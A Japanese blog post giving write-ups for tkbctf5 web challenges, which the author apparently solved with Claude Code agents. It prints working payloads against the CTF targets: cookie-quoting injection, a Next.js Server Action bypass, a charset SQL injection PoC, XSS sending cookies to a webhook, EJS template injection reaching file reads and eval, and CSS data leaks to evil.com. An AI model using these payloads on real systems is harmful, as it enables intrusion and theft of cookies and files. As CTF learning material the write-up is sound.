はまやんはまやんはまやん

hamayanhamayan's blog

tkbctf5 Writeups

https://alpacahack.com/ctfs/tkbctf5

1 first bloodと3 third bloodsで早解きは上手くいった(AIが強すぎただけだが)が、実力不足で解けない問題は解けないので全完を逃した。久しぶりにCTFをやって更に負けると、もっと頑張ろうという気持ちになる。

さて、今回はOpus 4.6 (1M) + Claude Codeと一緒に解きました。人間が時間をかけて作った問題をAIで即座に解いてしまうことにある種の良心の呵責はあるのだが、AIとどう解いたかも含めて書いていきます。記載は解けた順です。ちなみに今回のブログ記事は自力で書いているので、温かみを感じてください。今年初めてCTFをやって、非常に面白く学びがありました!ありがとうございました!

はじめに

[web] Patisserie

とりあえず、初手は全ての問題のソースコードを持ってきて解凍したフォルダに対して

カレントディレクトリにCTFの問題が与えられるので、全部サブエージェントで解いて。状況は逐一、[問題名].mdでダンプしながら解いて。フラグが取れそうになったり、面白いことが分かっても逐一教えて

と指示した。一旦家事をして帰ってくると、Patisserieが解けていた。出力されてきたMarkdownを斜め読みすると以下のようなコマンドで解けると書いてある。

curl -H 'Cookie: x="a; is_admin=1; b="' http://:/admin

payloadを見るとなんとなくどういうInjectionであるかが分かるが、これを本番環境でやるとフラグが得られる。

今、この記事を書くために出力されてきたMarkdownを一通り読んでいるのだが、それによると、Cookieの引用符付き文字列値のサポート有無のinconsistencyを利用して、フィルターを回避しているとのこと。今回は自分からはPatisserieのソースコードしか渡していないし、実行環境も渡していない。しかし、利用しているライブラリの「引用符付き文字列」の扱いに関して、ホワイトボックスでもなく(ソースコードが無いので)、ブラックボックスでもなく(実行環境もないので)、知識でこの差分をひねり出していることになる。実際はフルオートで回しているので、どのようなtool useをしているかは不明であるが、この点に関しては特筆すべき部分であろう。

[web] Parallel and Buffet

Patisserieを通すと、こっちの準備ができていた。以下のようにやれば取れるらしい。

curl -X POST http://<target>/ \
  -H "Content-Type: text/x-component" \
  -H "Next-Action: <取得したAction ID>" \
  -d '["flag"]'

リクエストから適当にAction IDっぽいものを持ってきて使ってみるが成功しない。Action IDというのは初耳なのだが、Next.jsは何でもアリなイメージがあり、なんとなく方向性は合っていそうな感じはする。Action IDの取り方が悪そうなので、人力で適当に取ってくるのをやめ、AIにリクエストを持ってきながらガチャガチャやってもらうとフラグが手に入った。

First Bloodだったが、本当に何もしていないし理解していない。今Claudeからの解説記事をまともに読むのだが、Claude Codeから教訓を授かったのでそれだけ転記しておく。

## 教訓
Next.js の Server Action は Layout/Page レベルの認証ガードでは保護できない独立したエンドポイントである。各 Server Action の関数内で個別に認証を検証する必要がある。

[web] Secure Gate

これもAIが全部を解いていた。当初bashで動かすコマンドを渡していたが、うまく動かず、また改行辺りの動きが怪しかったのでpythonで書き直すように指示をして出てきたPoCを動かすとフラグが得られた。

import http.client

conn = http.client.HTTPConnection("TARGET", 3000)

boundary = "boundary"
payload = "' UNION SELECT 1,2,value,4 FROM secrets--"

body = (
    f"--{boundary}\r\n"
    f'Content-Disposition: form-data; name="q"\r\n'
    f'Content-Type: text/plain; charset="utf-16le"\r\n'
    f"\r\n"
    f"{payload}\r\n"
    f"--{boundary}--\r\n"
)

conn.request("POST", "/api/notes/search", body.encode("ascii"), {
    "Content-Type": f"multipart/form-data; boundary={boundary}"
})

resp = conn.getresponse()
print(resp.read().decode())

プロキシ側のBusboyとサーバ側のGoのmime/multipartでのcharsetの解釈差分を利用してBusboyのフィルターをbypassする。Busboyはcharset="utf-16le"をちゃんと解釈するので文字化けしてフィルターが回避でき、Goの方ではcharset="utf-16le"が無視されてSQL Injectionのペイロードがそのまま使われるということらしい。

AIが全自動で解けたのはここまで

全自動で解けたのはここまでだが、解くのにかなり重要なInsightを初手で提供してくれた。解くパーツはAIが持ってきてくれたが、後半のパズルパートはどちらも人力でやった。

[web] Dream of You

AIが、以下で解けるよと教えてくれた。

2. 小説を投稿する:
   - **タイトル:** `My Story`
   - **デフォルト名:** `" tabindex="1" onfocus="fetch('https://WEBHOOK/?c='+document.cookie)" autofocus="`
   - **コンテンツ:** `http://x.com?[name]`

実際に試すとバリデーションエラーになるのだが、非常に方向性は良い。

    name = request.args.get("name") or story["default_name"]
    name = sanitize_text(name.strip())
    content = story["content"].replace("[name]", "[name] ")
    sanitized = sanitize_text(content)
    linkified = linkify_text(sanitized)
    rendered = linkified.replace("[name]", name)

ソースコードを見てもサニタイズ後に変換をしていて、いかにも弱点になっている。この問題のミソはBleachのlinkifyにある。

linker.linkify('abc http://example.com def')
'abc <a href="http://example.com" title="link in user text">http://example.com</a> def'

このようにURLを見つけるとaタグに変換してくれる機能である。よって、AIが出してくれたペイロードを今回の環境で試すと、

http://x.com?[name]
↓ linkify
<a href="http://x.com?[name]" rel="nofollow">http://x.com?[name]</a>
↓ [name]をデフォルト名で変換
<a href="http://x.com?" tabindex="1" onfocus="fetch('https://WEBHOOK/?c='+document.cookie)" autofocus="" rel="nofollow">http://x.com?" tabindex="1" onfocus="fetch('https://WEBHOOK/?c='+document.cookie)" autofocus="</a>

という感じになって、クリック無しでXSSが発生するというものになる。このaタグについてのクリック無しXSSの手法はPortSwiggerのCross-site scripting (XSS) cheat sheetにも記載がある。

良い方針ではあるが、実際にはdefault_nameを20文字以内に収める必要があり、このままでは解けない。なので、default_nameではタグを不完全に終わらせ、後続の文字列を属性として取り込ませる方針で解くことにした。AIにもこの方針で深堀するよう並列で伝えたが、人力の方が早く解けた。

とりあえず、http://example.com?[name] onfocus=alert(1) autofocus tabindex=1をStoryに追加して、名前をガチャガチャやってみる。

nameを" dummy=として、dummyに後続を全部突っ込ませてみる。

'hoge=" dummy=' http://example.com/?[name] " onfocus=alert(1) autofocus tabindex=1

全然壊れない。"だと後続が巻き込めないので、'を使って後ろを全部valueにしてしまう。nameを" dummy='にする。

良い感じではあるが、linkifyするときにURLがhrefとbodyの2か所に配置される関係で後続のonfocusに届く前にvalueが閉じられてしまい、また、その後に>があるので属性として取り込めていない。なので、bodyに[name]を埋め込むときにもう1つ'が来るようにして、valueを一度閉じて再度張るようにする。nameを'" dummy='にする。

もう少しだが、dummy='が閉じられないため、そのあとのHTMLがめちゃめちゃになっている。'を閉じる必要があるので、これをStoryの方に追加する。という訳で

Default name '" dummy='
Story http://example.com?[name] ' onfocus=alert(1) autofocus tabindex=1

とすると、

こんな感じになってXSSが発火する。これでonfocusのvalue部分は十分自由に書けるのでCookieを抜き出せば良い。かなり重要なInsigntをAIは与えてくれたが、パズルパートはやはりまだまだ得意ではないようだ。

[web] Greeting

AIが初手、以下のPayloadを提示してきた。

http://HOST:3000/?name=<q-escape[a[j](b)](r[j](p)[j](s))()[m[j](n)][w[j](u)](f)[d](g)q>&data={"delimiter":"q","j":"concat","a":"c","b":"onstructor","r":"return ","p":"proce","s":"ss","m":"mainM","n":"odule","w":"re","u":"quire","f":"fs","d":"readdirSync","g":"/"}

ほんとにー?と思いながら試すと、マジでdirectory listingされてくる。もう解けた?と思いながら追加の指示通り、<q-escape[a[j](b)](r[j](p)[j](s))()[m[j](n)][w[j](u)](f)[d](g[j](h))q>{"delimiter":"q","j":"concat","a":"c","b":"onstructor","r":"return ","p":"proce","s":"ss","m":"mainM","n":"odule","w":"re","u":"quire","f":"fs","d":"readFileSync","g":"/fl","h":"ag-[hash].txt"}を試すが、うまくいかない。これは文字種バリデーションによるもので、dataで-.を使うことができないためである。

const NAME_ALLOW = /^[a-zA-Z0-9<>()[\]-]+$/;
const DATA_ALLOW = /^[a-zA-Z0-9\s"{}:,/*]+$/;
const BLOCK =
  /this|arguments|include|eval|Function|String|Buffer|constructor|prototype|process|global|mainModule|require|import|child|exec|spawn|env|flag|atob|btoa/i;

この段階で一旦Markdownを読む。dataにdelimiterとしてqが設定されていることで本来は<%-と書く必要がある所を<q-と書けるようになる。これによって、%が許可されていないnameであってもSSTIを引き起こすことが可能になる。あとはBLOCKに設定されている文字列フィルタリングをかいくぐりながら頑張るとAIが出してきたPayloadが完成する。ざっくり説明すると以下のような感じになる。

<q-escape[a[j](b)](r[j](p)[j](s))()[m[j](n)][w[j](u)](f)[d](g)q>
↓ delimiter=qであるため...
<%- escape[a[j](b)](r[j](p)[j](s))()[m[j](n)][w[j](u)](f)[d](g) %>
↓ dataの各変数を代入
<%- escape["c"["concat"]("onstructor)](""return "["concat"]("proce")["concat"]("ss"))()["mainM"["concat"]("odule")]["re"["concat"]("quire")]("fs")["readdirSync"]("/") %>
↓ concatを評価
<%- escape["constructor"]("return process")()["mainModule"]["require"]("fs")["readdirSync"]("/") %>
↓ つまり...
process.mainModule.require("fs").readdirSync("/")

concatで連結して文字列フィルタリングを回避するという方針は同じで、fs.readFileSyncを呼び出すのが後続の方針であったが、.-を使わずにファイルを持って来る方針を深堀しすぎてAI料金と時間を無駄遣いした。AIから離れ、一旦クリーンになって、base64エンコードしたものをデコードしてevalする方針を人力で整理するとすぐに作れた。

escape.constructor("return process")で色々持ってこれることが分かったので、これを使ってevalとatobを持ってくることでeval(atob("[base64-encoded-payload]"))を作った。以下のようにすればよい。

name <q-escape[a[j](b)](r[j](p)[j](s))()(escape[a[j](b)](r[j](z)[j](y))()(x))q>
data {"delimiter":"q","j":"concat","a":"c","b":"onstructor","r":"return ","p":"ev","s":"al", "z": "at", "y":"ob", "x": "[base64-encoded-payload]"}

dataでは=が利用できないため、base64エンコードしたPayloadに=が入ってしまう場合はエンコード前のjavascriptの末尾に;を追加して文字数を調整すると良い。これで任意のJavascriptコマンドが呼べるので、process.mainModule.require("fs").readdirSync("/")して、process.mainModule.require("fs").readFileSync("/flag-[hash].txt")すればフラグ獲得。

[web] capture-the-f-l-a-g 解けなかった

解けなかったが、AIの挙動を共有しておく。これは単に面白さを狙った共有であって、負け惜しみではない(本当)。

さて、初手では、以下で解けるよと教えてくれた。

h1 {
  --x: url(https://ATTACKER.COM/leak? var(--flag) );
  background: var(--x);
}

まあ、そんな単純な問題ではなさそうだったので、これでは解けず、firefoxのソースコードを持ってきて改めて解かせてみるが、うまく解けない。情報量的にはfirefoxのソースコードもあるし、カスタムコードも与えているので、解くために必要な情報は机上には揃っているはずだ。過去CTFでも何度かCTFのボス問に対して同様のことをやっているが、解けた試しがない...とやっているとCTFが終了した(読み進めてもらえれば分かるが、これは現時点ではにならない感覚である)。AIに聞きつつ、仕様を見つつやっていて、FirefoxのCSSの異常行動や仕様にはちょっとだけ詳しくなったが、結局は解けなかった。

非リベンジ問はsepを配列にすればlen(sep)=2を回避できるというものだった。いやー、何万回と見た方向性だが全く思いつかなった。というかAI見つけてくれ。 https://yun.ng/c/ctf/2026-tkbctf5/web/capture-the-f-l-a-g

リベンジ問の解説を読む。sepに""を入れるというのは制約上それしかなさそうなので良いとして、それに加えて以下のようなテクを使って解くものを見つけた。

1) claustra01さん記事 quotesに入れて、no-open-quoteとclose-quote使ってバッファを使うとcontentに任意番目の文字のみを入れられる。あとは、対応する文字を大きくして@containerでそれを検知してbackgroundのurlでリーク
2) ANASさん解法(from 公式discord): font-src noneとCSPがあってもlocal()で回避可能。あとはFontleak
3) auther解法(from 公式discord): contentに任意番目の文字を入れるために別のテクニックが使われている。あとは多分claustra01さんと同様の手法でリーク

2 solvesなのでこれで全部のはず。さて、この答え合わせを元にAIのログを漁ってみる。

1) contentに任意番目の文字が入れられる所までは来ていた

以下のようなやり取りをしていた。

  Step 1: quotes で特定位置の文字を抽出して描画

  sep="" で --flag = "t" "k" "b" "c" "t" "f" "{" "X" "Y" ...

  h1 {
    quotes: var(--flag) "";
    /* ペア: (t,k) (b,c) (t,f) ({,X) (Y,Z) ... */
  }
  h1::before {
    content: open-quote open-quote open-quote open-quote;
    font-size: 0; /* 深さ0→4、不可視 */
  }
  h1::after {
    content: close-quote; /* 深さ4→3、pair3のclose = X(未知文字)*/
    font-family: serif;
    font-size: 500000px; /* 幅の差を増幅 */
  }

  これでh1::afterに 1文字だけ 巨大サイズで描画されます。文字によって幅が異なります。

  Step 2: scroll-driven animation で幅を検出

  html {
    overflow-x: scroll;
    scroll-snap-type: x mandatory;
  }
  h1::after {
    scroll-snap-align: start; /* スナップポイント */
  }
  body {
    animation: detect 1s linear both;
    animation-timeline: scroll(x);
  }
  @keyframes detect {
    15% { --p: 15 }
    16% { --p: 16 }
    17% { --p: 17 }
    /* ... 想定範囲のprogress値ごとに ... */
    35% { --p: 35 }
  }

  scroll-snap-type: mandatory により、レイアウト後にスナップ位置まで自動スクロールするはずです。スクロール位置 
  = 文字の幅に依存 → animation progress が文字ごとに異なる → --p の値が変わる。

  Step 3: container style query で条件付き画像読み込み

  @container style(--p: 20) {
    h1 { background: url(//evil.com/?p=20) }
  }
  @container style(--p: 21) {
    h1 { background: url(//evil.com/?p=21) }
  }
  /* ... */

  progress値→文字のマッピングを事前にキャリブレーションしておけば、どの画像がリクエストされたかで文字を特定でき
  ます。

その後、scroll-driven animationがうまくトリガーできずぐるぐるやっていて終わった。多分安定稼働させるには泥臭いことを結構やらないといけないと思うので、ここまで来ていて正しい方向性に修正できていても解き切れていたかは怪しい。

2) 全てがあった!

おい!あるじゃん!応答をちゃんと見ず、言われたことを適当にやるYesマンになっていたらこれを見逃していた。

  Firefox のバグ: font-src: 'none' は @font-face src: local() をブロックしない

  ソースコードで確認:

  - gfxUserFontSet.cpp:455-501: src: local() の場合、LookupLocalFont() を直接呼び出し → CSPチェックなし        
  - FontFaceSetDocumentImpl.cpp:334: IsFontLoadAllowed() は MOZ_ASSERT(aSrc.mSourceType == eSourceType_URL) →  
  URLソースのみチェック
  - テストファイル: font-src: 'none' + src: url() のテストはあるが、src: local() のテストは存在しない

  これで攻撃が成立する!

  Bench Press / Fontleak テクニック が使える:

  1. @font-face + src: local("Comic Sans MS") + unicode-range で特定文字を検出
  2. content: var(--flag) でフラグをテキスト描画(quotes trick で1文字ずつ)
  3. 文字ごとに高さの異なるローカルフォントを適用
  4. 高さの変化でスクロールバーが出現 → background-image: url() でコールバック
  5. img-src * でリクエスト送信 → フラグ漏洩!

ちなみに、これはRevenge問が出たあたりで何か別の簡単な方法があるのだろうと思い立ち、Bugzillaを漁らせていた方針から出てきたもの。

bugzilla.mozilla.org

こういうのがあるよと教えてくれて、これを深堀させると出てきていた。すごいね、AI。

だが一方で、Fontleakの手法を1から開発したような感じではなく(Fontleakって言ってるし)、ブログ記事が知識としてあって取り出せているだけな気がする。高度テクも世に出れば一瞬でAIの武器になってしまうということだろう。

このポストを思い出した。

3) 全く情報無し

AIではかすりもしませんでした。全く新しいテクっぽいです!(すごい!)まだ現時点でこの情報は公式Discordにしか眠っていない気がするので、terjanq先生のコメントを参考に、このブログに書くのはやめておきます。

でも、いつの日か、AIがこの手法を提案してくる日もくるのかも...